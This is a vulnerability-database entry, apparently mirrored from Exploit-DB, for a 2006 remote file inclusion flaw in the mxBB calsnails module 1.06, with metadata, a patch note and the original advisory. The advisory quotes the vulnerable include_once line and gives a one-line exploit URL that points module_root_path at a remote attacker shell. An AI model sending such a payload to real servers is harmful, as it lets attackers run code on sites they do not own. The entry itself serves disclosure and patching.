mxBB calsnails module 1.06 Remote File Inclusion Vulnerability

vendor:

calsnails module

by:

bd0rk || SOH-Crew

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: calsnails module

Affected Version From: 1.06

Affected Version To: 1.06

Patch Exists: YES

Related CWE: N/A

CPE: mxbb:calsnails_module:1.06

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

mxBB calsnails module 1.06 Remote File Inclusion Vulnerability

A vulnerability exists in mxBB calsnails module 1.06 which allows a remote attacker to include a file from a remote host. The vulnerability is due to the 'module_root_path' parameter in 'includes/mx_common.php' script not properly sanitized before being used in a 'include_once' function call. This can be exploited to include arbitrary files from remote hosts by e.g. passing a URL in the 'module_root_path' parameter.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of mxBB calsnails module.

Source

Exploit-DB raw data:

##################################################################
#                                                                #
# mxBB calsnails module 1.06 Remote File Inclusion Vulnerability #
#                                                                #
# Bugfounder: bd0rk || SOH-Crew                                  #
#                                                                #
# Website: www.soh-crew.it.tt                                    #
#                                                                #
# Gr33tings: nukedx, DeeJay, TheJT, str0ke                       #
#                                                                #
##################################################################

Mod-Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=21

Vulnerable Code: include_once($module_root_path . 'includes/cal_settings.'.$phpEx);

[+]Exploit: http://[site]/[path]/includes/mx_common.php?module_root_path=http://Y0urSh3LL?

# milw0rm.com [2006-11-17]